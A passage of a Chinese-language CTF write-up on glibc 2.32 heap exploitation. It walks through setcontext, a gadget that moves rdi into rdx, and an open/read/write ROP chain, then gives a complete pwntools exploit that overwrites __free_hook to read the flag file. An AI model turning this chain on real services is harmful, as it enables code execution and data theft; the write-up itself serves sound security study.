.text:000000000005306D                 mov     rsp, [rdx+0A0h]
.text:0000000000053074 mov rbx, [rdx+80h]
.text:000000000005307B mov rbp, [rdx+78h]
.text:000000000005307F mov r12, [rdx+48h]
.text:0000000000053083 mov r13, [rdx+50h]
.text:0000000000053087 mov r14, [rdx+58h]
.text:000000000005308B mov r15, [rdx+60h]
.text:000000000005308F test dword ptr fs:48h, 2
.text:000000000005309B jz loc_53156
.text:0000000000053156 loc_53156: ; CODE XREF:
.text:0000000000053156 mov rcx, [rdx+0A8h]
.text:000000000005315D push rcx
.text:000000000005315E mov rsi, [rdx+70h]
.text:0000000000053162 mov rdi, [rdx+68h]
.text:0000000000053166 mov rcx, [rdx+98h]
.text:000000000005316D mov r8, [rdx+28h]
.text:0000000000053171 mov r9, [rdx+30h]
.text:0000000000053175 mov rdx, [rdx+88h]

利用ropper工具 可以搜索libc文件中的gadget 看看有没有能达到我们目的的

image-20230320195713239

其中 我们找到了符合我们要求的 可以通过rdi的值来影响到rdx

image-20230320195748520

如果调用free函数 那么rdi寄存器存的就是我们想要释放的堆块的用户地址 并且利用call指令 还可以进行下一步跳转 也就是跳转到setcontext上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ret_addr = libc_addr + 0x26699
rdi_addr = libc_addr + 0x2858f
rsi_addr = libc_addr + 0x2ac3f
rdx_r12_addr = libc_addr + 0x114161
rax_addr = libc_addr + 0x45580
setcontext_addr = libc_addr + libc.sym['setcontext']+61
gadget_addr = libc_addr + 0x000000000014b760
chunk8_addr = heap_addr +0x36e0
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
success(hex(chunk8_addr))
flag_addr = chunk8_addr + 0x10
payload = b'./flag\x00\x00'+p64(chunk8_addr+0x10)+cyclic(0x10)+p64(setcontext_addr)

chunk8_addr是包括了chunk头的首地址

这里主要来详细讲一下payload的构造 flag字符串是为了接下来的orw

第一条指令

1
mov rdx, qword ptr [rdi + 8]

此时rdi指向的是chunk8_addr+0x10的地址 再加8 也就是指向了chunk8_addr+0x18

取这个地址的值赋值给rdx 也就是在flag字符串后我们要存入想要控制的rdx值 这里选择是chunk8_addr+0x10

在接下来的setcontext rsp指针就会被赋值到chunk8_addr+0xb0 我们只要在那里进行下一步的构造即可

第二条指令没啥用 不用关注 看第三条

1
call qword ptr [rdx + 0x20]

此时的rdx对应的值为chunk8_addr+0x18 也就是说 setcontext的地址要被放到chunk8_addr+0x38处

随后 我们用垃圾数据填充 来到chunk8_addr + 0xb0处继续开始构造

1
2
3
4
5
payload = b'./flag\x00\x00'+p64(chunk8_addr+0x10)+cyclic(0x10)+p64(setcontext_addr)
payload = payload.ljust(0xa0,b'\x00') + p64(chunk8_addr+0x10+0xa8)+p64(ret_addr)
payload += p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50) + p64(0) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50) + p64(0) + p64(write_addr)

image-20230320201353081

此时rcx的值是我们存入的ret指令 并且执行完push后 栈上会存放两个ret

image-20230320201502749

接下来一直执行到setcontext的ret指令的时候 就会将栈上的ret弹入到rip寄存器中 顺延执行到pop rdi

我们就成功控制了程序执行流 成功获取flag

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28793)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size):
io.recvuntil("5. Exit")
io.sendline(b'1')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))

def delete(index):
io.recvuntil("5. Exit")
io.sendline(b'2')
io.recvuntil("Index: ")
io.sendline(str(index))

def edit(index,content):
io.recvuntil("5. Exit")
io.sendline(b'3')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.send(content)

def show(index):
io.recvuntil("5. Exit")
io.sendline(b'4')
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x800)
add(1,0x900)
add(2,0x7f0)
delete(0)
edit(0,b'\x01')
show(0)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96
libc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
edit(0,b'\x00')
add(3,0x900)
edit(0,cyclic(0x10))
show(0)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x290
success("heap_addr :"+hex(heap_addr))
mp_tcache_bins = libc_addr + 0x1e32d0
success("mp_tcache_bins :"+hex(mp_tcache_bins))
payload = p64(0)+p64(mp_tcache_bins-0x10)+p64(0)+p64(mp_tcache_bins-0x20)
edit(0,payload)
delete(2)
add(4,0x900)
add(5,0x900)
add(6,0x900)
add(7,0x900)
delete(5)
delete(6)
key = ( heap_addr + 0x3000 ) >>12
success("key :"+hex(key))
edit(6,p64(key^(free_hook)))
add(8,0x900)
add(9,0x900)

# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
ret_addr = libc_addr + 0x26699
rdi_addr = libc_addr + 0x2858f
rsi_addr = libc_addr + 0x2ac3f
rdx_r12_addr = libc_addr + 0x114161
rax_addr = libc_addr + 0x45580
setcontext_addr = libc_addr + libc.sym['setcontext']+61
gadget_addr = libc_addr + 0x000000000014b760
chunk8_addr = heap_addr +0x36e0
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
success(hex(chunk8_addr))
flag_addr = chunk8_addr + 0x10
payload = b'./flag\x00\x00'+p64(chunk8_addr+0x10)+cyclic(0x10)+p64(setcontext_addr)
payload = payload.ljust(0xa0,b'\x00') + p64(chunk8_addr+0x10+0xa8)+p64(ret_addr)
payload += p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50) + p64(0) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50) + p64(0) + p64(write_addr)
edit(8,payload)
edit(9,p64(gadget_addr))
# gdb.attach(io,'b *'+str(gadget_addr))
# pause(0)
delete(8)
io.recv()